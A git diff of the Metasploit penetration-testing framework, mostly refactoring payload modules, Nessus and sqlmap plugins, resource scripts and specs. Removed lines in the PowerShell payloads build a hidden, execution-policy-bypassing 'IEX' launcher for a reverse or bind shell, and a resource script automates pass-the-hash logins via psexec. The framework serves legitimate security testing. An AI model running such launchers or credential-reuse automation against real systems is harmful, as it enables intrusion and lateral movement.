b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 883870 + CachedSize = 883358 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 28361ae955..98b83de831 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = 883870 + CachedSize = 883358 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/powershell_bind_tcp.rb b/modules/payloads/singles/windows/powershell_bind_tcp.rb index 305ee540ce..1042da2ee2 100644 --- a/modules/payloads/singles/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/powershell_bind_tcp.rb @@ -4,9 +4,11 @@ ## require 'msf/core' -require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/exec' +require 'msf/core/payload/windows/powershell' require 'msf/base/sessions/powershell' +require 'msf/core/handler/bind_tcp' + ### # # Extends the Exec payload to add a new user. @@ -14,10 +16,11 @@ require 'msf/base/sessions/powershell' ### module Metasploit3 - CachedSize = 1543 + CachedSize = 1695 include Msf::Payload::Windows::Exec include Rex::Powershell::Command + include Msf::Payload::Windows::Powershell def initialize(info = {}) super(update_info(info, @@ -52,33 +55,6 @@ module Metasploit3 # Override the exec command string # def command_string - lport = datastore['LPORT'] - - template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1') - script_in = "" - ::File.open(template_path, "rb") do |fd| - script_in << fd.read(fd.stat.size) - end - - script_in = File.read(template_path) - script_in << "\npowerfun -Command bind" - - mods = '' - - if datastore['LOAD_MODULES'] - mods_array = datastore['LOAD_MODULES'].to_s.split(',') - mods_array.collect(&:strip) - print_status("Loading #{mods_array.count} modules into the interactive PowerShell session") - mods_array.each {|m| vprint_good " #{m}"} - mods = "\"#{mods_array.join("\",\n\"")}\"" - script_in << " -Download true\n" - end - - script_in.gsub!('MODULES_REPLACE', mods) - script_in.gsub!('LPORT_REPLACE', lport.to_s) - - script = Rex::Powershell::Command.compress_script(script_in) - "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" - + generate_powershell_code("Bind") end end diff --git a/modules/payloads/singles/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/powershell_reverse_tcp.rb index a065b0704e..20d069518b 100644 --- a/modules/payloads/singles/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/powershell_reverse_tcp.rb @@ -4,9 +4,11 @@ ## require 'msf/core' -require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/exec' +require 'msf/core/payload/windows/powershell' require 'msf/base/sessions/powershell' +require 'msf/core/handler/reverse_tcp_ssl' + ### # # Extends the Exec payload to add a new user. @@ -14,9 +16,10 @@ require 'msf/base/sessions/powershell' ### module Metasploit3 - CachedSize = 1527 + CachedSize = 1703 include Msf::Payload::Windows::Exec + include Msf::Payload::Windows::Powershell include Rex::Powershell::Command def initialize(info = {}) @@ -35,7 +38,7 @@ module Metasploit3 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseTcp, + 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::PowerShell, )) @@ -52,33 +55,6 @@ module Metasploit3 # Override the exec command string # def command_string - lport = datastore['LPORT'] - lhost = datastore['LHOST'] - - template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1') - script_in = "" - ::File.open(template_path, "rb") do |fd| - script_in << fd.read(fd.stat.size) - end - script_in << "\npowerfun -Command reverse" - - mods = '' - - if datastore['LOAD_MODULES'] - mods_array = datastore['LOAD_MODULES'].to_s.split(',') - mods_array.collect(&:strip) - print_status("Loading #{mods_array.count} modules into the interactive PowerShell session") - mods_array.each {|m| vprint_good " #{m}"} - mods = "\"#{mods_array.join("\",\n\"")}\"" - script_in << " -Download true\n" - end - - script_in.gsub!('MODULES_REPLACE', mods) - script_in.gsub!('LPORT_REPLACE', lport.to_s) - script_in.gsub!('LHOST_REPLACE', lhost.to_s) - - script = Rex::Powershell::Command.compress_script(script_in) - "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" - + generate_powershell_code("Reverse") end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index e469f843f0..db49e198cc 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1101986 + CachedSize = 1102498 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index a2467327fc..e2cf2c9619 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1103030 + CachedSize = 1103542 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 241567344b..3a5ab8e7d1 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1103030 + CachedSize = 1103542 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index b6fe1a03a7..7dc3db89f7 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1101986 + CachedSize = 1102498 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 25f33d863b..81e3cd6511 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1101986 + CachedSize = 1102498 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 420f9699f2..2fe63d9b42 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -54,8 +54,7 @@ module Metasploit3 # used as the final stage; calls super to get the intermediate stager. # def generate_stage - file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.jar") - met = File.open(file, "rb") {|f| f.read(f.stat.size) } + met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') # All of the dendencies to create a jar loader, followed by the length # of the jar and the jar itself. diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index ce5a280aa0..4590895cd5 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -149,11 +149,7 @@ module Metasploit3 end def generate_meterpreter - file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") - - blob = File.open(file, "rb") {|f| - f.read(f.stat.size) - } + blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') blob end diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index 4e50ee1a7e..f9c2f877a3 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -7,24 +7,23 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Post - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather Enumerate Domain Group', - 'Description' => %q{ This module extracts user accounts from specified group - and stores the results in the loot. It will also verify if session - account is in the group. Data is stored in loot in a format that - is compatible with the token_hunter plugin. This module should be - run over as session with domain credentials.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Carlos Perez ', - 'Stephen Haywood ' - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather Enumerate Domain Group', + 'Description' => %q( This module extracts user accounts from specified group + and stores the results in the loot. It will also verify if session + account is in the group. Data is stored in loot in a format that + is compatible with the token_hunter plugin. This module should be + run over as session with domain credentials.), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Carlos Perez ', + 'Stephen Haywood ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) register_options( [ OptString.new('GROUP', [true, 'Domain Group to enumerate', nil]) @@ -38,18 +37,16 @@ class Metasploit3 < Msf::Post cur_domain, cur_user = client.sys.config.getuid.split("\\") ltype = "domain.group.members" ctype = "text/plain" - domain = "" # Get Data - usr_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain") - dom_res = run_cmd("net config workstation") + usr_res = cmd_exec("net groups \"#{datastore['GROUP']}\" /domain") # Parse Returned data members = get_members(usr_res.split("\n")) - domain = get_domain(dom_res.split("\n")) + domain = get_env("USERDOMAIN") # Show results if we have any, Error if we don't - if ! members.empty? + if !members.empty? print_status("Found users in #{datastore['GROUP']}") @@ -61,9 +58,9 @@ class Metasploit3 < Msf::Post # Is our current user a member of this domain and group if is_member(cur_domain, cur_user, domain, members) - print_status("Current sessions running as #{cur_domain}\\#{cur_user} is a member of #{datastore['GROUP']}!!") + print_good("Current sessions running as #{cur_domain}\\#{cur_user} is a member of #{datastore['GROUP']}!") else - print_error("Current session running as #{cur_domain}\\#{cur_user} is not a member of #{datastore['GROUP']}") + print_status("Current session running as #{cur_domain}\\#{cur_user} is not a member of #{datastore['GROUP']}") end # Store the captured data in the loot. @@ -72,7 +69,6 @@ class Metasploit3 < Msf::Post else print_error("No members found for #{datastore['GROUP']}") end - end def get_members(results) @@ -90,41 +86,21 @@ class Metasploit3 < Msf::Post end end - return members - end - - def get_domain(results) - domain = '' - - results.each do |line| - if line =~ /Workstation domain \s+(.*)/ then domain = $1.strip end - end - - return domain + members end def is_member(cur_dom, cur_user, dom, users) - member = false if cur_dom == dom users.each do |u| - if u.downcase == cur_user.downcase then member = true end + if u.downcase == cur_user.downcase + member = true + break + end end end - return member + member end - def run_cmd(cmd) - process = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - res = "" - while (d = process.channel.read) - break if d == "" - res << d - end - process.channel.close - process.close - return res - end - end diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 9402dc9613..2540281d09 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -4,14 +4,13 @@ require 'rex/parser/nessus_xml' module Msf + PLUGIN_NAME = 'Nessus' + PLUGIN_DESCRIPTION = 'Nessus Bridge for Metasploit' + class Plugin::Nessus < Msf::Plugin def name - "Nessus" - end - - def desc - "Nessus Bridge for Metasploit" + PLUGIN_NAME end def desc @@ -20,9 +19,9 @@ module Msf class ConsoleCommandDispatcher include Msf::Ui::Console::CommandDispatcher - + def name - "Nessus" + PLUGIN_NAME end def xindex @@ -36,11 +35,11 @@ module Msf def msf_local "#{Msf::Config.local_directory}" end - + def cmd_nessus_index nessus_index end - + def commands { "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port ", @@ -82,7 +81,7 @@ module Msf "nessus_folder_list" => "List folders configured on the Nessus server", "nessus_scanner_list" => "List the configured scanners on the Nessus server", "nessus_family_list" => "List all the plugin families along with their corresponding family IDs and plugin count" - } + } end def cmd_nessus_help(*args) @@ -112,7 +111,7 @@ module Msf tbl << [ "nessus_db_import", "Import Nessus scan to the Metasploit connected database" ] tbl << [ "", ""] tbl << [ "Reports Commands", "" ] - tbl << [ "-----------------", "-----------------"] + tbl << [ "-----------------", "-----------------"] tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] tbl << [ "nessus_report_host_details", "Get detailed information from a report item on a host" ] @@ -206,7 +205,7 @@ module Msf total = Time.now - start print_status("It has taken : #{total} seconds to build the exploits search index") end - + def nessus_index if File.exist?("#{xindex}") #check if it's version line matches current version. @@ -248,7 +247,7 @@ module Msf return end end - + if args[0] == "-h" print_status("%redYou must do this before any other commands.%clr") print_status("Usage: ") @@ -260,7 +259,7 @@ module Msf print_status("use a self signed certificate, therefore, users should use ssl_ignore.") return end - + if !@token == '' print_error("You are already authenticated. Call nessus_logout before authenticating again") return @@ -269,7 +268,7 @@ module Msf ncusage return end - + @user = @pass = @host = @port = @sslv = nil case args.length when 1,2 @@ -455,7 +454,7 @@ module Msf print_status("Returns a list of information about the scan or policy templates..") return end - if type.downcase.in?(['scan', 'policy']) + if type.in?(['scan', 'policy']) list=@n.list_template(type) else print_error("Only scan and policy are valid templates") @@ -648,7 +647,7 @@ module Msf print_line("IP Address: #{details['info']['host-ip']}") print_line("Hostname: #{details['info']['host-name']}") print_line("Operating System: #{details['info']['operating-system']}") - print_line + print_line print_status("Vulnerability information") details["vulnerabilities"].each { |vuln| tbl << [ vuln["plugin_name"], vuln["plugin_family"], vuln["severity"] ] @@ -685,7 +684,7 @@ module Msf report = @n.report_download(scan_id, file_id) File.open("#{msf_local}/#{scan_id}-#{file_id}","w+") do |f| f.puts report - print_status("Report downloaded to #{msf_local} directory") + print_status("Report downloaded to #{msf_local} directory") end else print_error("Only completed scans ca be downloaded") @@ -800,7 +799,7 @@ module Msf 'Status', 'Folder' ]) - + list["scans"].each { |scan| if args[0] == "-r" if scan["status"] == "running" @@ -1011,11 +1010,11 @@ module Msf end else print_error(export) - end + end else print_error("Only completed scans could be used for import") end - + end def is_scan_complete(scan_id) @@ -1188,7 +1187,7 @@ module Msf when 2 scan_id = args[0] category = args[1] - if category.downcase.in?(['info', 'hosts', 'vulnerabilities', 'history']) + if category.in?(['info', 'hosts', 'vulnerabilities', 'history']) category = args[1] else print_error("Invalid category. The available categories are info, hosts, vulnerabilities, and history") @@ -1265,7 +1264,7 @@ module Msf case args.length when 2 scan_id = args[0] - format = args[1] + format = args[1].downcase else print_status("Usage: ") print_status("nessus_scan_export ") @@ -1273,19 +1272,15 @@ module Msf print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") return end - if format.downcase.in?(['nessus','html','pdf','csv','db']) + if format.in?(['nessus','html','pdf','csv','db']) export = @n.scan_export(scan_id, format) if export["file"] file_id = export["file"] print_good("The export file ID for scan ID #{scan_id} is #{file_id}") print_status("Checking export status...") - code, body = @n.scan_export_status(scan_id, file_id) - if code == "200" - if body =~ /ready/ - print_good("The status of scan ID #{scan_id} export is ready") - else - print_status("Scan result not ready for download. Please check again after a few seconds") - end + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_good("The status of scan ID #{scan_id} export is ready") else print_error("There was some problem in exporting the scan. The error message is #{status}") end @@ -1310,7 +1305,12 @@ module Msf when 2 scan_id = args[0] file_id = args[1] - check_export_status(scan_id, file_id) + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_status("The status of scan ID #{scan_id} export is ready") + else + print_error("There was some problem in exporting the scan. The error message is #{status}") + end else print_status("Usage: ") print_status("nessus_scan_export_status ") @@ -1318,25 +1318,6 @@ module Msf end end - def check_export_status(scan_id, file_id, attempt = 0) - code, body = @n.scan_export_status(scan_id, file_id) - if code == "200" - if body.to_s =~ /ready/ - print_status("The status of scan ID #{scan_id} export is ready") - else - if attempt < 3 - print_status("Scan result not ready for download. Checking again...") - select(nil, nil, nil, 1) - attempt = attempt + 1 - print_error("Current value of attempt is #{attempt}") - check_export_status(scan_id, file_id, attempt) - end - end - else - print_error("There was some problem in exporting the scan. The error message is #{body}") - end - end - def cmd_nessus_plugin_list(*args) if args[0] == "-h" print_status("nessus_plugin_list ") @@ -1691,7 +1672,7 @@ module Msf def initialize(framework, opts) super add_console_dispatcher(ConsoleCommandDispatcher) - print_status("Nessus Bridge for Metasploit") + print_status(PLUGIN_DESCRIPTION) print_status("Type %bldnessus_help%clr for a command listing") end diff --git a/plugins/sqlmap.rb b/plugins/sqlmap.rb index 6115a3a7b6..117e95e89e 100644 --- a/plugins/sqlmap.rb +++ b/plugins/sqlmap.rb @@ -13,9 +13,9 @@ module Msf def commands { - 'sqlmap_new_task' => 'It\'s a task!', + 'sqlmap_new_task' => 'Create a new task', 'sqlmap_connect' => 'sqlmap_connect []', - 'sqlmap_list_tasks' => 'List the knows tasks. Not stored in a DB, so lives as long as the console does', + 'sqlmap_list_tasks' => 'List the knows tasks. New tasks are not stored in DB, so lives as long as the console does', 'sqlmap_get_option' => 'Get an option for a task', 'sqlmap_set_option' => 'Set an option for a task', 'sqlmap_start_task' => 'Start the task', @@ -32,21 +32,20 @@ module Msf return end - host, port = args + @host, @port = args - if !port - @manager = Sqlmap::Manager.new(Sqlmap::Session.new(host)) - else - @manager = Sqlmap::Manager.new(Sqlmap::Session.new(host, port)) + if !@port + @port = '8775' end - print_good('Set connection settings for host ' + host + (port ? ' on port ' + port : '')) + @manager = Sqlmap::Manager.new(Sqlmap::Session.new(@host, @port)) + print_good("Set connection settings for host #{@host} on port #{@port}") end def cmd_sqlmap_set_option(*args) unless args.length == 3 print_error('Usage:') - print_error("\tsqlmap_set_option ") + print_error('\tsqlmap_set_option ') return end @@ -64,7 +63,7 @@ module Msf def cmd_sqlmap_start_task(*args) if args.length == 0 print_error('Usage:') - print_error("\tsqlmap_start_task []") + print_error('\tsqlmap_start_task []') return end @@ -88,7 +87,7 @@ module Msf def cmd_sqlmap_get_log(*args) unless args.length == 1 print_error('Usage:') - print_error("\tsqlmap_get_log ") + print_error('\tsqlmap_get_log ') return end @@ -107,7 +106,7 @@ module Msf def cmd_sqlmap_get_status(*args) unless args.length == 1 print_error('Usage:') - print_error("\tsqlmap_get_status ") + print_error('\tsqlmap_get_status ') return end @@ -118,13 +117,13 @@ module Msf res = @manager.get_task_status(@hid_tasks[args[0]]) - print_status('Status: ' + res['status']) + print_status("Status: #{res['status']}") end def cmd_sqlmap_get_data(*args) unless args.length == 1 print_error('Usage:') - print_error("\tsqlmap_get_data ") + print_error('\tsqlmap_get_data ') return end @@ -139,7 +138,7 @@ module Msf @tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options'] print_line - print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url']) + print_status("URL: #{@tasks[@hid_tasks[args[0]]]['url']}") res = @manager.get_task_data(@hid_tasks[args[0]]) @@ -164,7 +163,7 @@ module Msf def cmd_sqlmap_save_data(*args) unless args.length == 1 print_error('Usage:') - print_error("\tsqlmap_save_data ") + print_error('\tsqlmap_save_data ') return end @@ -224,7 +223,7 @@ module Msf unless args.length == 2 print_error('Usage:') - print_error("\tsqlmap_get_option ") + print_error('\tsqlmap_get_option ') end unless @manager @@ -237,7 +236,7 @@ module Msf @tasks[@hid_tasks[arg]] = task_options['options'] if @tasks[@hid_tasks[arg]] - print_good(args[1] + ': ' + @tasks[@hid_tasks[arg]][args[1]].to_s) + print_good("#{args[1]} : #{@tasks[@hid_tasks[arg]][args[1]]}") else print_error("Option #{arg} doesn't exist") end @@ -251,12 +250,16 @@ module Msf print_error('Please run sqlmap_connect first.') return end - - taskid = @manager.new_task['taskid'] - @hid_tasks[(@hid_tasks.length + 1).to_s] = taskid - task_options = @manager.get_options(taskid) - @tasks[@hid_tasks[@hid_tasks.length]] = task_options['options'] - print_good("Created task: #{@hid_tasks.length}") + task_id = @manager.new_task + if task_id['taskid'] + t_id = task_id['taskid'].to_s + @hid_tasks[(@hid_tasks.length + 1).to_s] = t_id + task_options = @manager.get_options(t_id) + @tasks[@hid_tasks[@hid_tasks.length]] = task_options['options'] + print_good("Created task: #{@hid_tasks.length}") + else + print_error("Error connecting to the server. Please make sure the sqlmapapi server is running at #{@host}:#{@port}") + end end def cmd_sqlmap_list_tasks @@ -285,7 +288,7 @@ module Msf end def desc - 'Use Sqlmap, yo!' + 'sqlmap plugin for Metasploit' end end end diff --git a/scripts/resource/auto_cred_checker.rc b/scripts/resource/auto_cred_checker.rc index f39f730eca..83b5a84bd8 100644 --- a/scripts/resource/auto_cred_checker.rc +++ b/scripts/resource/auto_cred_checker.rc @@ -58,24 +58,24 @@ framework.db.creds.each do |creds| next if not serv.host next if (serv.state != Msf::ServiceState::Open) # for now we only check these services, you can add some more ... - next if not (serv.name =~ /smb/ or - serv.name =~ /microsoft-ds/ or - serv.name =~ /netbios-ssn/ or - serv.name =~ /ftp/ or - serv.name =~ /ssh/ or - serv.name =~ /telnet/ or - serv.name =~ /mysql/ or - serv.name =~ /vnc/ or - serv.name =~ /mssql/ or - serv.name =~ /pop3/ or + next if not (serv.name =~ /smb/ or + serv.name =~ /microsoft-ds/ or + serv.name =~ /netbios-ssn/ or + serv.name =~ /ftp/ or + serv.name =~ /ssh/ or + serv.name =~ /telnet/ or + serv.name =~ /mysql/ or + serv.name =~ /vnc/ or + serv.name =~ /mssql/ or + serv.name =~ /pop3/ or serv.name =~ /postgres/) xport = serv.port.to_i xprot = serv.proto xname = serv.name - xhost = host.address + xhost = host.address - if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/) + if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/) print_line("smb_login") if(verbose == 1) infos(serv,creds,host) diff --git a/scripts/resource/auto_pass_the_hash.rc b/scripts/resource/auto_pass_the_hash.rc index 026e8cb08c..2428ac6bf9 100644 --- a/scripts/resource/auto_pass_the_hash.rc +++ b/scripts/resource/auto_pass_the_hash.rc @@ -9,8 +9,8 @@ #psexec needs a payload -if framework.datastore['PAYLOAD'] - pload = framework.datastore['PAYLOAD'] +if framework.datastore['PAYLOAD'] + pload = framework.datastore['PAYLOAD'] else #just to get sure that we have a backup payload pload = "windows/meterpreter/bind_tcp" end @@ -59,7 +59,7 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in if (jotr == 1) # first checking weak windows hashes with john ... because of the filtering before, we are sure that - # this is a windows hash + # this is a windows hash # on the first found hash we are going to analyse all hashes - then we set jotr to 0 print_line("using jtr_crack_fast") @@ -74,14 +74,14 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in smbhash = creds.pass username = creds.user - + framework.db.hosts.each do |host| next if (host.os_name !~ /Windows/) # pass the hash works just for Win host.services.each do |serv| next if not serv.host next if (serv.state != Msf::ServiceState::Open) - next if (serv.name !~ /smb/) + next if (serv.name !~ /smb/) print_line("using psexec - Pass the hash") if(verbose == 1) diff --git a/scripts/resource/autocrawler.rc b/scripts/resource/autocrawler.rc index 058ce86226..8a71b7bf22 100644 --- a/scripts/resource/autocrawler.rc +++ b/scripts/resource/autocrawler.rc @@ -36,7 +36,7 @@ framework.db.workspace.hosts.each do |host| next if not serv.host next if (serv.state != Msf::ServiceState::Open) next if (serv.name !~ /http/) - + if(verbose == 1) print_line("IP: #{host.address}") print_line("OS: #{host.os_name}") diff --git a/scripts/resource/basic_discovery.rc b/scripts/resource/basic_discovery.rc index e8a741158e..86bfb39e93 100644 --- a/scripts/resource/basic_discovery.rc +++ b/scripts/resource/basic_discovery.rc @@ -109,7 +109,7 @@ print_line("starting discovery scanners ... stage 2") print_line("============================================") print_line("") -run_single("unsetg RHOSTS") # we dont need it anymore +run_single("unsetg RHOSTS") # we dont need it anymore framework.db.workspace.hosts.each do |host| host.services.each do |serv| @@ -416,7 +416,7 @@ framework.db.workspace.hosts.each do |host| end if (serv.name =~ /http/ or serv.port == 80 or serv.port == 443) - + if(versionscanners == 1 or serv.name == nil) print_line("Module: http_version") run_single("use auxiliary/scanner/http/http_version") @@ -700,7 +700,7 @@ framework.db.workspace.hosts.each do |host| jobwaiting(maxjobs,verbose) end end - + if (serv.port == 7777) print_line("Module: energizer_duo_detect") run_single("use auxiliary/scanner/backdoor/energizer_duo_detect") diff --git a/scripts/resource/wmap_autotest.rc b/scripts/resource/wmap_autotest.rc index 66b51faec5..b0a87a9c57 100644 --- a/scripts/resource/wmap_autotest.rc +++ b/scripts/resource/wmap_autotest.rc @@ -24,9 +24,9 @@ end #we look in the global datastore for a global VERBOSE option and use it if (framework.datastore['VERBOSE'] == "true") - verbose = 1 + verbose = 1 else - verbose = 0 + verbose = 0 end if (framework.plugins.to_s =~ /[Ww]map/) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index a782633786..8196f7fd59 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -61,7 +61,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do context '#with_connection' do def reserved_connection_count - connection_pool.instance_variable_get(:@reserved_connections).length + connection_pool.instance_variable_get(:@reserved_connections).size end let(:connection_id) do diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb index 30ae6fa46c..0dc0c8851c 100644 --- a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -37,8 +37,6 @@ describe Metasploit::Framework::LoginScanner::SNMP do snmp_scanner.host = '127.0.0.1' snmp_scanner.port = 161 snmp_scanner.connection_timeout = 1 - snmp_scanner.retries = 0 - snmp_scanner.version = 'all' snmp_scanner.stop_on_success = true snmp_scanner.cred_details = detail_group end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 92dfb26a09..1ec814058b 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -627,7 +627,7 @@ shared_examples_for 'Msf::DBManager::Session' do ) end - it { expect(subject.routes).to eq(routes) } + it { expect(subject.routes.to_a).to eq(routes) } end context 'without :routes' do